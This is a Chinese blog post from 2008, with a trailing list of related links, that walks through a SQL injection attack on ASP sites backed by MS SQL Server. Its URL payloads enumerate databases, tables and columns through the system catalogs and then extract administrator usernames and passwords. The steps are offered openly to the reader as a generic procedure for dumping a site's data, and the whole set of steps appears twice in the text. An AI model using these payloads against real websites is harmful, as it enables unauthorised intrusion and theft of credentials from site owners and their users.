SQL注入之"全暴"
2008-01-17 15:12
246 查看
SQL INJECTION 灵活多变,注入的语句不一,下面只提供暴库的一般
步骤,希望能对你有帮助。
1:暴出所有库名.
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
2:暴出库中的表
假设存在一个bbs的数据库,提交下面的语句:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
来得到一个表 假设为 admin
提交:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
来得到其他的表。
3:暴出表中的字段
提交:
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
4:暴出用户名和密码等
假设存在user_id username ,password 等字段,提交:
http://www.***.com/***.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到密码。。。。。
步骤,希望能对你有帮助。
1:暴出所有库名.
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
2:暴出库中的表
假设存在一个bbs的数据库,提交下面的语句:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
来得到一个表 假设为 admin
提交:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
来得到其他的表。
3:暴出表中的字段
提交:
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
4:暴出用户名和密码等
假设存在user_id username ,password 等字段,提交:
http://www.***.com/***.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到密码。。。。。
相关文章推荐
- Exception in thread "main" java.sql.SQLException: Access denied for user ''@'localhost' (using passw
- 无法解决 equal to 操作中 "SQL_Latin1_General_CP1_CI_AS" 和 "Chinese_PRC_CI_AS" 之间的排序规则冲突。
- SQL "SELECT INTO/BULKCOPY" 的用法
- mysql 错误 SQL Error: 1366: Incorrect string value: "\xE8\xAF\xA6\xE7\xBB\x86…" for column "address" a
- SQL查询某列以B或C或D或F开始且第三个字符为"a"的数据信息
- 报错"sqlplus: error while loading shared libraries"
- sql 2005如何使用被禁止的"xp_cmdshell"
- 连接ORACLE数据库 "SQLAllocHandle on SQL_HANDLE_ENV 失败
- .NET数据访问策略:From "LINQ to SQL" to "LINQ to X"
- eclipse 连接 sqlserver2005错误信息:"java.lang.ClassNotFoundException: com.microsoft.jdbc.sqlserver.SQLServerDriver"
- java读取数据库中的错误:"Unhandled exception type SQLException"
- sql2005 无法解决 equal to 操作"Chinese_PRC_CI_AS" 和 "Chinese_PRC_CS_AS" 之间的排序
- 解除SQL对组件"Ad Hoc Distributed Queries"的"STATEMENT'OpenRowset OpenDatasource"的访问
- sql 2000 "无法执行查询,因为一些文件缺少或未注册"的解决办法
- WIN7下无法使用sqlplus &quot…
- SQL注入之"全暴"
- 有趣的sql(4) - 关于注释的,续"有趣的sql(1) "
- DALFactory出现"未能加载文件或程序集“Flashlm.SQLServerDAL”或它的某一个依赖项。系统找不到指定的文件”的解决方案
- sql查询语句中$where="1=1"的含义
- 从三个方面进行讲解如何适当优化"SQL"